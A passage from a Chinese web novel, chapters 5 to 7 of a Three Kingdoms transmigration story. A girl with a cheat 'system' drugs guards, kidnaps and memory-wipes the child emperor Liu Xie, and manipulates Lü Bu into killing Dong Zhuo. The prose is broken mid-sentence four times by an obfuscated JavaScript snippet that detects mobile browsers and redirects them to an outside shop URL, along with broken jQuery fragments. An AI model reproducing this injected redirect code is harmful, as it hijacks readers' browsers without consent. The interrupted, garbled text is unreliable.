“你,带袁姑娘去旁边帐篷歇息,好生照料,不得怠慢。” “是。” 侍从恭敬地应下。 袁悦看得分明,王允这哪是让她好生照料,分明是派个人来监视自己。 不过她也无所谓,反正她本来也没打算在这里久留。 她对着王允和貂蝉福了一礼,便跟着那侍从向营地角落的一顶小帐篷走去。 “袁姑娘,请。” 侍从为她掀开帐帘。 “姑娘若有任何需要,随时可以唤我。” 侍从说完,便退了出去,守在了帐篷门口。 袁悦在随便找了个地方坐下坐下,长长地舒了一口气。 总算是暂时安顿下来了。 她闭上眼,心念一动,熟悉的系统界面在脑海中展开。 [宿主儿~您现在安全啦!] 系统欢快地冒泡。 [安全个屁,门口还杵着个监视器呢。] 袁悦在心里翻了个白眼。 [别废话,赶紧的,我的任务呢?刘协现在什么情况?] [报告宿主儿!【落难天子与俏村姑】任务当前进度:0%!经检测,目标人物刘协目前正和董卓待在一起,安全得很,一点也不落难!] 袁悦:“……” 她就知道! [他不落难,我怎么救他?] 袁悦气得想捶床,[这任务根本就进行不下去啊!你这个系统怎么只给任务要求真想触发还得自己弄呀] [这个…这个…] 系统也卡壳了。 [要不…咱们再等等?说不定他待会儿就落难了呢?] [等?] 袁悦从地上弹了起来,在小小的帐篷里来回踱步[等到了黄花菜都凉了!不行,不能等] 她停下脚步,眼中闪过一丝狡黠。 [他不落难,我就不能让他落难吗?] [唉?] 袁悦没理它,直接打开了系统商城,眼神飞快地在琳琅满目的商品列表中滑动。 【偷情百分百不会被发现符】,pass。 【一喝就死鹤顶红】,这个暂时用不上。 【精品水泥配方】,更用不上了! 她的手指最终停在了一个散发着粉红色光晕的商品上。 【一闻就倒强效迷魂香】:300积分。简介:无色无味,吸入后可迅速昏睡十二个时辰,醒后毫无记忆,宿主可随时唤醒。居家旅行、杀人越货之必备良品! 袁悦的嘴角咧开一个大大的笑容。 “就是你了!” 她毫不犹豫地点击了购买。 [宿主儿,您要这个做什么呀?] 系统好奇地问。 [做什么?] 袁悦搓了搓手,阴险的笑了起来。 [桀桀桀。当然是去给咱们大汉的皇帝陛下,制造一点小小的困难啦!] …… 夜更深了。 袁悦缓缓睁开了眼睛。 她从简易床榻上坐起,侧耳听了听外面的动静。 那个侍从出恭去了……就这时候吧。 袁悦心念一动,第二个木头小人出现在她的掌心。 “去吧,我的好替身。”她轻声自语。 小人化作一道流光,没入床榻。 下一刻,一个与她一模一样的小人便躺在那里,睡颜安详, 搞定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288101|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 袁悦麻利地换上出来时带上的夜行衣,用黑布蒙上脸,装好一闻就倒强效迷魂香出发。 她悄无声息地掀开帐帘的一角,确认了门口侍从不在后,身形一晃,绕到了帐篷的另一侧,融入夜色 董卓迁都的队伍绵延数里,此刻扎下的营盘更是混乱。 袁悦想着分别时吕布前去的方向搜寻着 没过多久,她便远远看到一个高大体胖的身影。 她放慢脚步,悄悄地摸了过去,在一个树后躲着 那应该就是董卓了,他如今正吃着东西,而在他旁边,坐着一个看起来七八岁的孩子。 应该就是他了,刘协。 袁悦的目光在周围扫了一圈,并没有发现那个吕布的影子。 桀桀桀,天助我也! 她虽然兑换了武功,但真要面对吕布这样的,肯定几个回合死翘翘,她本来还准备吕布在的话就过两天再干呢。 结果不在,此时不干更待何时! 袁悦蹲在树枝上,看着下面那个面色紧绷的小皇帝,脸上露出了一个大大的笑容。 “桀桀桀,小皇帝,你可别怪我。不是我害了你,是这个系统害了你。” 说完,她从地上捡起一颗石子,掂了掂分量。 “所以,为了我的任务,就委屈你一下啦!” 话音未落,她手腕一抖,那颗石子便咻地一下飞了出去,精准地砸在了一个士兵的盔甲上。 “哐当——!” 一声巨响在寂静的夜里炸开。 “什么人!” “有刺客!” 火堆旁的几个护卫瞬间乱作一团,纷纷拔出刀剑,紧张地朝着声音传来的方向围了过去。 就是现在! 袁悦看准时机,几个闪身便冲到了那几个护卫身后,右手一扬,一把无色无味的粉末便被她撒了出去。 那几个护卫甚至没来得及反应便眼前一黑软绵绵地倒了下去。 整个过程行云流水,一下子就把包括董卓在内的一堆人都迷晕了。 袁悦拍了拍手,满意地看着自己的杰作。 系统出品的迷魂香,效果就是好,谁用谁知道! 她施施然地那个小皇帝面前。 刘协显然也被这突如其来的变故吓到了,他小小的身子缩在树后。 一双大眼睛里写满了惊恐和戒备,死死地盯着眼前这个突然出现的黑衣人。 可惜,他还是逃不过去。 小皇帝的眼皮挣扎了几下,最终脑袋一歪,也昏了过去。 “搞定,收工!” 袁悦上前一步,轻松地将昏迷的小皇帝扛在了肩上。 她回头看了一眼那几个东倒西歪的护卫和董卓,最终还是不准备现在就把董卓杀了,嗯……她还是想测试一下这个吕布董卓貂蝉这次要做些什么。 貂蝉现在都成王允真义女了,目前推测很可能和吕布真谈起来恋爱,这个董卓……总的来说都要死,万一他和吕布也是真爱我把他杀了吕布追杀我呢。没准后面还有用,先放他一马 想完,袁悦掂了掂肩膀上的刘协心情愉快地吹了声口哨。 “哦,我敬爱的小皇帝,俏村姑来救你啦” 说完,她扛着这大汉天子,消失在了茫茫的夜色之中。 5. 失忆天子能否梦到大汉忠臣 意识在深海中浮沉。 刘协恍惚间,觉得自己好像被人扛在肩上,一颠一颠的狂奔。 接着,他又被轻轻地放在了草地上。 一个女人焦急的呼唤从的传来,带着一丝焦急。 “陛下,陛下,快醒醒。” 他努力地睁开沉重的眼皮,模糊的视野里,几张面孔晃来晃去。 映入眼帘的,是身边侍从的脸,环顾四周,是担忧的王允等人和董卓。 这是怎么回事? 刘协迷茫地眨了眨眼睛,他想坐起来,后脑勺却传来一阵尖锐的刺痛,让他倒吸一口凉气。 他好像…忘记了什么? 记忆停留在营地遇袭的混乱里,护卫们惊慌失措地倒下,一个黑影朝着自己冲来…然后呢? 然后就是一片空白。 可是在那片空白里,似乎又有一双明亮的眼睛,让他产生想要去信赖的安心感。 那是谁? 他想不起来了,心底空落落的。 … 这一切的一切还要从袁悦成功绑走刘协来说。 在一处僻静的林间空地上,袁悦把肩上扛着刘协,小心翼翼地放了下来。 她先是环顾四周,确认安全后,她抓起一把泥土,往自己脸上抹去,又低头把衣服撕了几个口子看起来当时交战激烈。 最后,她闭上眼,深吸一口气,对着自己的大腿内侧狠狠掐了一把。 “嘶——!” 泪水瞬间涌满了眼眶。 很好,准备工作完成! 她操控着系统面板解除了迷药效果,俯身拍了拍昏迷中的刘协的脸颊。 “陛下,陛下,快醒醒。” 刘协的睫毛颤了颤,缓缓睁开了眼睛。 当他看到眼前这个泪眼朦胧的少年时,小小的脸上写满了戒备与茫然。 “你……你是……” 来了!飙戏的时候到了! 袁悦立刻露出一副泫然欲泣的模样。 “奴婢…奴婢听到陛下那处生乱,心里担忧,就、就急忙赶了过来! 正巧看到有贼人掳走了陛下,奴婢…奴婢拼了命地追上来,跟他们打了好久…最终,还是成功救下陛下了!” 她一边说,一边擦着眼泪。 刘协毕竟只是个孩子,刚刚还经历了惊吓。 此刻见到这么一个奋不顾身来救自己的忠良,满腔的恐惧都化作了感动。 他看着袁悦,郑重地开口。 “大汉有你这样忠良之士,何愁不兴……” 成了! 袁悦看着他那副深受感动的模样,有些尴尬,但还是维持着受宠若惊表情与他对视。 就在刘协还沉浸在劫后余生的庆幸和遇到忠臣的感动中,准备再说几句表彰的话时,他看见面前的“忠臣”忽然抬起了手。 是要抚摸我的头以示安慰吗?虽然我是天子,这样做不好,但既然立功了那现在就顺着她来好了,毕竟我什么都没法给她。 刘协心想。 下一秒。 “啪!” 一声清脆的响声。 袁悦一巴掌扇到刘协后脑勺。 小皇帝的眼睛瞬间翻了上去,身子一软,又一次华丽地昏了过去。 “搞定。” 袁悦甩了甩自己有些发麻的手掌,长出了一口气。 [搞定!力道刚刚好,懵逼不上伤脑。]她在脑海里对系统比了个耶。 [宿主儿威武!]系统发出了欢呼。 她早就跟系统商量好了要把刘协打晕。她一开始就没想好怎么和刘协相处,要真成了救命恩人这不就直接入了董卓吕布眼皮子底下。 所以,她在出发之前,就和系统确认了在系统微妙的影响下,在这个情况把刘协打晕,他百分百会忘掉相关记忆。 她环顾四周把刘协拖到一个更显眼的位置。 然后远远躲在树林里,防止他在被救下来前遇到什么危险 于是,便有了开头那一幕。 董卓的亲卫们找到了失而复得的小皇帝,立刻上报。 董卓和闻讯赶来的王允等人围在刘协身边,好不容易才把他弄醒。 “陛下,您感觉怎么样?可还记得是何人袭击了您?” 王允一脸关切地追问。 刘协捂着生疼的后脑勺,茫然地看着周围一张张熟悉的脸,努力地在脑海中搜索着。 “我……我不记得了……” 他最终只能无力地摇了摇头。 董卓见他确实不像装的,不耐烦地“哼”了一声,大手一挥:“罢了!既然找回来了就行!加强警戒!再有下次,你们都提头来见咱家!剩下的人!继续去搜!把这个毛头小贼给我抓回来,咱家要吃他的肉,喝他的血!” “是!” 侍卫们低着头一同应答。 角落的袁悦看着这出那群人,掏了掏耳朵。 [我的听力出问题了吗,我怎么听不见他们在说什么] [我也听不见] 袁悦挠了挠头,选择把想不明白的事放一边,这个世界有太多想不明白的事了。 [任务呢,任务完成的怎么样了? [【落难天子与俏村姑】任务完成,已完美达成!奖励积分500点!另,完成隐藏支线皇帝失忆了,格外奖励500积分!] [才500点?你也太抠了吧。] 袁悦撇了撇嘴。 系统嘿嘿一笑。 [人家也是个打工仔啦!] 袁悦翻了个白眼,确认那边已经安全而且真失忆了后,启程回帐篷。 她悄无声息地溜回原处,门口负责监视的侍从也已然睡熟。 她轻手轻脚地掀开帐帘,钻了进去。 帐内替身小人尽职尽责的躺在床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288102|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡觉。 [干得不错。] 袁悦在心里给自己的高科技道具点了个赞。 她走到床边,心念一动,替身小人便化作一道流光,飞回了她的掌心。 整理完,袁悦爬上床榻。 床榻虽然简陋,但奔波了一晚上,能躺下就是一种幸福。 她长长地舒了一口气,准备就此昏睡过去。 就在她意识迷糊之际,一阵着压得极低的交谈,从隔壁的帐篷里隐约传了过来。 “吕布将军……夜深了,你还不去歇息吗?” 是貂蝉。 “我……我不放心你。” 一个男人闷闷的答复,是吕布。 “今日之事,太过凶险。小姐一人……” 袁悦的耳朵一下子竖了起来。 我去!还真来啊?董太师,你看看你!你最信任的义子,你最得力的保镖,在营地遭遇袭击,皇帝都差点丢了的节骨眼上,不去关心昏迷的你,来关心貂蝉。 你终究是错付了啊! “我无事的。” 貂蝉的话语里带着安抚的意味。 “将军武艺盖世,有你在,奴婢不怕。” 接下来,便是一阵长久的沉默。 袁悦在自己的帐篷里翻了个身,把被子拉高了些。 不过……有点奇怪啊。 她皱了皱眉。 刚才董卓他们那一大帮子人,又是喊又是叫的,自己离得也不算远,却什么都听不见,跟隔音了似的。 现在吕布和貂蝉俩人在隔壁说悄悄话,自己却能听得一清二楚。 这个世界到底想干啥。 想不明白。 袁悦挠了挠头,决定把这个问题抛之脑后。 反正这个世界从根上就歪得一塌糊涂,再多一件怪事也无所谓了。 她躺在床上,听着隔壁那对男女还在那儿你一言我一语地拉扯,忽然觉得有些索然无味。 貂蝉和她印象里的不太一样,吕布也是。她有些失望了。不过想起当时的刘关张三人……还有曹操……这世界还能有正常人吗。 与其在这里浪费时间,不如早点脱身,去探寻清楚这个世界。 一个清晰的计划,在她脑海里迅速成型。 吕布在这个世界是个恋爱脑,感觉完全可以吹吹貂蝉的风让吕布解决董卓,到时候她就勉为其难的接受董卓剩下的谋士贾诩作为初始员工远走高飞!说不定貂蝉吕布也能一起拐走。 袁悦越想越觉得美滋滋把刚才的郁闷抛之脑后,仿佛已经看到了自己左拥谋士右抱武将,走上人生巅峰的光明未来。 美死了哈哈哈哈! 她抱着被子,在床上乐得滚了两圈,最后心满意足地咂了咂嘴。 就这么定了明天开始试探! 带着对未来美好生活的无限憧憬,袁悦的意识终于彻底沉入了香甜的梦乡。 6. 龙,可是帝王之征 长安城,司徒府。 午后的阳光暖洋洋地洒在庭院里,本该是一派安逸祥和的景象,但袁悦却只想对着老天爷比一个中指。 她这两天四处打听不仅没找到贾诩,现在还面临着一个极其严峻的生存问题。 王允家,断粮了。 是的,你没看错。堂堂大汉司徒,三公之一,家里居然揭不开锅了。 袁悦坐在廊下,托着腮,第无数次在心里吐槽这个世界的离谱程度。 这不科学! 当然,断粮并不是什么天大的问题。 因为,吕布每天都会来。 就像现在,那个身形魁梧的男人,正亲自押送着几大袋粮食走进府里,府里的家丁们也见怪不怪的上前接过粮食。 袁悦看着这一幕,已经连吐槽的力气都没有了。 她觉得这个世界为了让吕布和貂蝉谈恋爱,已经彻底放弃了基本逻辑。 …… 午后吕布已经离开,袁悦和貂蝉并肩坐在窗边的软榻上。 貂蝉静静地看着庭院里下人们正在搬运的那些粮食。 “你喜欢吕布将军吗?” 袁悦忍不住开口询问。 貂蝉的身子僵了一下,沉默许久才慢慢开口。 “我……或许应该喜欢他。” “应该?” 袁悦挑了挑眉。 “他……很好。” 貂蝉垂下眼帘。 “他武艺高强,为人正直,对我…也很好。每次他出现,我的心就会跳得很快,脸颊也会发烫。可是……” 她顿了顿。 “可是他一离开,那种感觉就消失了,好像从来没有存在过一样。我再回想,却怎么也想不起来,也想不明白,自己方才为何会那般……心绪不宁。” 袁悦眨了眨眼睛,貂蝉这是也发觉世界的不正常了吗? “或许是喜欢他的脸?” 她半开玩笑的开口道。 貂蝉被她这句没头没脑的话问得一愣,随即噗嗤一声笑了出来。 “烁姑娘,怎么能这么说?” “怎么不能?” 袁悦轻哼一声,拿起一块蜜瓜。 “他每次来,那道视线就没从你身上挪开过,就差直接粘上来了。再说了,他女儿都有了,还天天往你这儿跑,这样的人不可信,天天放着在家里的夫人不管。” 貂蝉脸上的笑意慢慢淡去,她摇了摇头,轻声纠正道。 “吕布将军确实有位千金,但他并没有夫人。” “哈?” 袁悦困惑的看着貂蝉。 没有夫人?那女儿哪来的?石头里蹦出来的? 貂蝉看出了她的疑惑,她凑近了一些,压低声音。 “这里,一直都有些传言。” “什么传言?” 袁悦的好奇心被彻底勾了起来。 貂蝉的脸颊泛起一抹不自然的红晕。 “有人说,说吕将军的身体构造与常人不同,是双性之人。他那位千金,便是他自己生下来的。” …… 袁悦恍惚地飘回自己的房间,一头栽倒在柔软的床榻上。 躺了一会儿,突然坐了起来。 [不是,他有病吧!这个世界他有病吧!啊啊啊啊!!!] 吕布的xx是他的暗器难道真的是真的?! 袁悦感觉自己的世界观,彻底崩塌了。 这个世界,真的还有救吗? [宿主儿~宿主儿~] 脑海里,那个不靠谱的系统又欢快地冒了出来。 [别管他们啦,趁着现在有空,咱们去刷一刷宫里何太后的好感度吧!完成任务有积分奖励哦~] [起来啦!乱着呢!] 袁悦没好气地在心里回话。 但说完之后,她又反应过来。 等等… 何太后? 不对啊!何太后不是早就过世了吗?怎么刷好感度?难道她还活着? 嘶… 袁悦倒吸一口凉气。 太后还活着,贾诩不在董卓身边,吕布是双性人……或许何太后这个本该死去的人还活着,她那里,说不定就藏着解开这个世界诡异之谜的线索。 必须去皇宫看看! 袁悦的大脑飞速运转着。 可怎么进去呢?皇宫守卫森严,她总不能硬闯吧,上次是抓刘协是在迁都路上防守不太够,这次够点呛吧。。 而且这次也不一定能让太后失忆。万一后面被她认出来就不好了。 啧。看来,只能从别的地方下手了,或许……杀董卓的时候可以趁乱进去?嗯,还是得从吕布下手啊。 打定主意,袁悦就不急了,她重新躺回床上,慢慢自己冷静下来,静待时机。 第二天,吕布果然又来。 依旧亲自押送着几大袋粮食,熟门熟路地走进司徒府。 袁悦站在廊下,看着他指挥家丁将粮食搬进库房,然后目光就开始在院子里四处搜寻貂蝉的身影。 她清了清嗓子,对着吕布挥了挥手。 “吕布将军,留步。” 吕布闻声回头,看到是袁悦,便大步走了过来。 这几日因为她和貂蝉关系好,吕布对她也很是友善。 “袁烁小姐,有事?” “没事没事,就是想跟将军说几句话。” 袁悦脸上挂着商业假笑,绕着他走了一圈 “哎呀,吕布将军当真是人中龙凤,一表人才呀!这身板,这气势怪不得大家都称赞人中吕布马中赤兔呢!” 这通彩虹屁拍得吕布很是受用,他挺了挺胸膛,脸上露出了几分自得。 “那是自然!” “只是……” 袁悦话锋一转,脸上的笑容瞬间变成了担忧。 吕布看她这副模样,也不由得紧张起来。 “袁烁小姐,怎么了?” “我昨日听司徒大人无意中提起。。” 袁悦的表情恰到好处地表现出为难和担忧。 “说董相国近来心情不佳,似乎是听到了外面有些风言风语,毕竟大家都夸您是人中龙凤,可,这龙,可是帝王之征啊!” 吕布的脸色唰地一下就变了。 “这……这都是无稽之谈!” 吕布急忙辩解,额头上甚至冒出了冷汗。 “将军,我知道是无稽之谈,可相国他未必这么想啊。” 袁悦一脸我都是为了你好的表情。 “您想,您武艺天下第一,在军中威望又高,现在外面还传您是人中龙凤,这,这简直是把刀架在您脖子上啊!” 吕布的脸色由白转青,又由青转黑,精彩纷呈。 看着他那副六神无主的模样,袁悦在心里默默地比了个耶。 成了! “多谢小姐提醒!” 吕布对着袁悦匆匆一抱拳,也顾不上去找貂蝉了。 “我,我还有军务在身,先告辞了!” 说完,他转身就走,脚步都有些踉跄。 袁悦看着他落荒而逃的背影,满意地拍了拍手。 搞定!现在已经有了让他警惕的想法,接下来就是让他自己多想,然后再激一激他。 她正准备转身回屋,身后却传来一道轻柔的声音。 “烁姑娘,义父他…根本没说过那些话吧?” 袁悦猛地回转过身。 貂蝉不知何时出现在了她身后不远处的回廊拐角。 她是什么时候来的?自己居然一点都没有察觉到!明明在系统商城兑换了武功之后,她的五感已经远超常人,怎么会…… 等等,之前我偷听吕布貂蝉说话离那么远都能听到,难道,这个世界偷偷谈话一定会被听到?! 一瞬间,无数个念头在袁悦脑中闪过,但她此刻已经无暇顾。 她看着貂蝉的眼睛,干巴巴地扯了扯嘴角。 “你要去告发我吗?” 貂蝉没有立刻回答,她缓步走到袁悦面前,轻轻地摇了摇头。 “不。我……会帮你。” “唉?” 这下轮到袁悦愣住了。 “真的吗?可是为什么?” 貂蝉垂眸。 “我不知道。” “我只知道,只有在和你说话的时候,我才是我。” 她抬起头,再次对上袁悦的视线。 “和吕布将军在一起时,我的心会跳得很快,分开后,那种感觉却又像一场梦,回想起来只觉得空洞, 和其他人也同样,虽然没有心动,但,离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288103|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开后我又会疑惑我为何那样和他们相处。 可是和你在一起,哪怕只是这样站着,都让我觉得很真实,离开后也不会感觉奇怪,我想,你能帮我摆脱那种奇怪的感觉。” 袁悦看着她,看着她眼中那份寻求帮助的恳切。 好吧。 她明白了,或许,这个世界曾经是正常的,只是被不知道的什么东西给改变成这样了,貂蝉就是发现异常的其中之一。 又或许是她的出现改变了貂蝉,让本不应该发现异常的貂蝉意识到了不对 袁悦笑了起来,她主动伸出手,握住了貂蝉那只微凉的手。 “好!” …… 几日后,吕布再次来了。 他同样押着食物,只是这次,他的脸色明显不佳,整个人都透着一股焦躁不安的气息,显然这几天他自己脑补了很多东西,把自己折磨得不轻。 他一进院子,就看到貂蝉正靠在袁悦的怀里,无声的抽泣着,而袁悦则轻抚着她的后背,柔声安慰着。 “貂蝉小姐!” 吕布三步并作两步地冲了过去。 听到他的呼喊,貂蝉从袁悦怀里抬起头,那张梨花带雨的俏脸上写满了惊慌与无助。 袁悦拉住貂蝉的手,将她护在自己身后,然后站起身,挡在了吕布面前。 “我们几日前听到了一些风声……唉,吕布将军,你还是快走吧,别再来了!” 袁悦说着,便开始推着吕布往外走,吕布念着貂蝉在这没有反抗,被袁悦退了出去。 此后的几天,司徒府的大门对吕布彻底关上了。 无论他如何求见,都被家丁以“小姐身体不适,不见外客”为由挡了回去。 终于,在一个夜黑风高的夜晚,吕布再也忍不住了。 他避开府邸的护卫,悄悄翻墙而入,径直来到了貂蝉的院落。 “貂蝉小姐!” 他推开房门,看到了正与袁悦坐在一起喝茶的两人,他恳切的看着貂蝉。 “再怎么样……也请让我知道原因!” 袁悦和貂蝉对视了一眼。在昏黄的烛光下,貂蝉轻轻点了点头。 袁悦站起身,重重地叹了一口气,脸上满是为难与沉痛。 “这……唉,将军,你又何必非要问个清楚呢?” 她越是这么说,吕布就越是急切。 “请袁烁小姐告知!” “好吧。” 袁悦又叹了口气,这才缓缓开口。 “几日前,我和貂蝉出门散心,在街上…遇到了董相国。” 她刻意停顿了一下,观察着吕布的反应。果不其然,一听到董相国三个字,吕布的身体就瞬间紧绷了起来。 “他……他把你们怎么样了?” “他倒是没把我们怎么样。” 袁悦摇了摇头,话锋一转,“但是,他好像,认出了貂蝉的身份。” “身份?” 吕布一头雾水。 “唉。” 袁悦再次叹气,酝酿了一下情绪。 “将军有所不知,貂蝉她她之所以被司徒大人收留,就是因为她的家人,当年唉,总之是,唉…… 而这次被董相国看到,他那副表情,我不知道他想起了什么,也不知道他接下来会做什么,将军,为了您的安全,您还是早日与我们划清界限,回去吧。” 吕布听了脸色越发难看。 董卓如今不仅要出去他,还要伤害自己心爱的女人! 一股难以遏制的怒火从他胸中燃起,烧毁了他最后一丝理智。 “不!” 他低吼一声。 “董卓他如今已是冢中枯骨尔!” 一直沉默不语的貂蝉,此刻终于抬起了头,她站起身,走到吕布面前,一双含着泪水的眼睛直直地看着他。 “将军当真心愿意为妾除去此贼?!” 吕布看着眼前这张令他魂牵梦萦的脸,看着她眼中的期盼,他重重地点了点头,没有一丝一毫的犹豫。 “好!” 袁悦一拍手掌。 “既然将军已下定决心,那事不宜迟!几日后,待我们准备妥当,便可动手,除了那巨贼。” 等等,我怎么会说局贼,难道我被同化了?!这个世界竟恐怖如斯。 7. 贾诩在哪 司徒府的庭院内。 袁悦端坐于桌旁,为面前的茶盏注入沸水。 白色的雾气袅袅升起,只有她自己和脑海里的系统知道,这壶茶里加了点“猛料”。 【毒药】:还在担心你的宫女是卧底吗!还在担心你的太监背叛吗?现在只要500积分,立刻拿捏你的宫女太监。 效果:毒药定时发作若不按时吃解药则会死亡,吃解药后可由宿主选择继续在人体内或解除。(注:宿主主动赠予解药的人也可选择药效是否触发) 简直是为吕布量身定做的,之后万一吕布又犯病,就用这个管他 虽然这个宫斗系统也有直接让人衷心不背叛的药,但袁悦没积分了,于是选择了毒药。 这边,脚步声由远及近,高大魁梧的身影如期而至。 “吕将军,请坐。”袁悦抬手示意,将一杯刚刚沏好的茶推到他对面。 貂蝉也对他微微颔首,算是打了招呼。 吕布利索坐下,盯着袁悦。 “确定要明日上朝时做?” “自然。” 袁悦点了点头。 “上朝之时,百官俱在,你当着天下人的面,斩杀国贼,此等功绩,足以让你名声远扬,威震四海。” 吕布眼睛一亮,他仿佛已经看到了自己手刃董卓,接受百官朝拜,万民敬仰的场面。 “好!” 吕布不再犹豫,拿起茶杯杯中茶水一饮而尽。 “交给我吧。” …… 是日,天色微明。 长安城的宫门外,文武百官早已等候多时。 董卓环视着噤若寒蝉的百官,脸上满是权倾朝野的得意。 就在此时,一道身影从百官的队列中走出,拦住了他的去路。 “奉先我儿,何事?” 董卓不悦地问道。 吕布手持方天画戟,面无表情。 他没有回答,只是在所有人的注视下,一步步走向董卓。 变故只在瞬息之间。 寒光一闪,那颗硕大的头颅便冲天而起,滚烫的血液喷洒而出,溅了周围官员一身。 董卓肥胖的身躯轰然倒地,激起一片尘土。 整个世界都静止了一秒。 下一刻,惊呼声,兵刃出鞘声混杂在一起,彻底引爆了现场。 百官们如无头苍蝇般四散奔逃,护卫们则乱作一团,不知是该捉拿凶手,还是该保护遗体。 一片混乱之中,无人注意到,一道身影,几个闪转便消失在了宫殿深处的长廊尽头。 袁悦的目标很明确——何太后的居所。 根据系统提供的地图,很快便来到一处幽静的宫殿前。 她深吸一口气,一把推开了那扇沉重的殿门。 “吱呀——” 门轴发出刺耳的呻吟,门后的景象也随之映入眼帘。 殿内光线昏暗,弥漫着一股怪异气味。 正中央,一个高大的身影背对着她,似乎被门开的声音惊动,缓缓地转了过来。 袁悦看着,瞳孔渐渐放大,嘴巴也长了起来。 “我嘞个豆,人妖!” 只见那人是正常男士的身形,可偏偏,他身上穿着一件明显小了号的华服,脸上涂着厚厚的脂粉,头上歪歪扭扭地插着几支珠花,几缕头发散乱地贴在脸颊上。 这视觉冲击力,堪比十个董卓被砍头。 袁悦被吓得倒退一步,差点一屁股坐到地上。 她穿越过来这么久,见过的怪事多了去了,但眼前这一幕,还是成功刷新了她的认知下限。 三国时期有人妖???!!! 就在她惊魂未定之际,那个“人妖”也看清了她。 他挣扎着想要说什么,用尽全身力气,从喉咙里挤出两个字。 “我……贾。” 袁悦眨了眨眼,仔细地打量着眼前这个不伦不类的“人妖”。 贾? 贾诩? 她想到之前到处搜寻不到的贾诩。 “你……” 她的手指颤抖地指向对方。 “贾……贾诩?!” 那人听到这个名字,立刻疯狂地点头,眼中涌出了感动的泪花。 “你,你怎么会在这?!何太后呢?!她人呢?” 袁悦惊讶的看着他。 眼前的贾诩张了张嘴,突然像是摆脱了什么束缚一般软了下去。 “喂!” 袁悦连忙上前扶住了他。 “我…我也不知…” 贾诩大口大口地喘着气。 “何太后早已过世,我本好生待在家中,但一日醒来,我就突然来到这宫殿,所有的侍从都叫我何太后。 我无法开口,无法动弹,无法与任何人解释我到底是谁,就好像,就好像被谁控制了一般。” 他顿了顿,看向袁悦,眼中满是劫后余生的庆幸。 “但今日,这位姑娘你进来后,我却突然解脱了一般。” 袁悦听着他的叙述,扶着他在一旁的坐榻上坐下,自己则陷入了沉思。 看来是董卓吕布貂蝉这一段的剧情里需要何太后这个角色出场,但真的何太后已经过世,所以这个乱七八糟的世界为了让剧本继续下去,就随便从后台抓了个目前并不重要的角色拉来强行扮演。 如今吕布提前吧把董卓给宰了,何太后这个角色也就没有存在的必要了,所以贾诩才得以解脱。 她看向贾诩拉住她的手 “先生,实不相瞒,我便是知道明明何太后已经过世,这宫中却又冒出第二个何太后,才特意闯进来一探究竟。 没想到,这个世界上,除了我之外,还有另一个明白人。” 她凑近了一些,压低了音量。 “不知,你可愿与我携手,一同探索这世界背后的缘故?” 贾诩是个聪明人。 他看着眼前这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288104|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个年纪轻轻的少女。 立刻看出来她不仅仅是想探索这个世界的缘故,还是在拉他入伙。 虽然眼前这个小姑娘,怎么看都不符合自己心中理想的投靠对象。 但她能神不知鬼不觉地闯到这里,定然武艺高强。 如果拒绝…… 贾诩瞥了一眼袁悦腰间那把看起来就很锋利的短剑,他毫不怀疑,她肯定会说着自己得不到也不让别人得到杀了他。 罢了。 跟着她走,或许还能有机会弄明白这一切到底是怎么回事。 想通了这一点,贾诩脸上勾起一个浅浅的笑容,对着袁悦郑重地拱了拱手。 “蒙公不弃,文和愿跟随主公 ” “我…我是很在意文和的,但你…” 袁悦伸出手,似乎是想表达自己的真诚,可那只手在半空中僵了片刻,又尴尬地收了回去。 她看着眼前那张涂着厚重脂粉的脸,艰难地组织着语言。 “但你,可以先别笑吗,有点渗人。” 贾诩脸上的笑容凝固了。 他下意识地抬手摸了摸自己的脸颊,指尖便是蹭上去的粉底。 贾诩尴尬的收起笑容。 … 几日后,长安城外。 贾诩已经换回了一身干净的文士长袍,脸上厚重的妆容也已洗去。 虽然面色依旧有些蜡黄,但总算恢复了正常人的模样。 他站在一旁,安静地看着正在告别的两人。 袁悦从怀中取出一个小小的瓷瓶,递到了吕布面前。 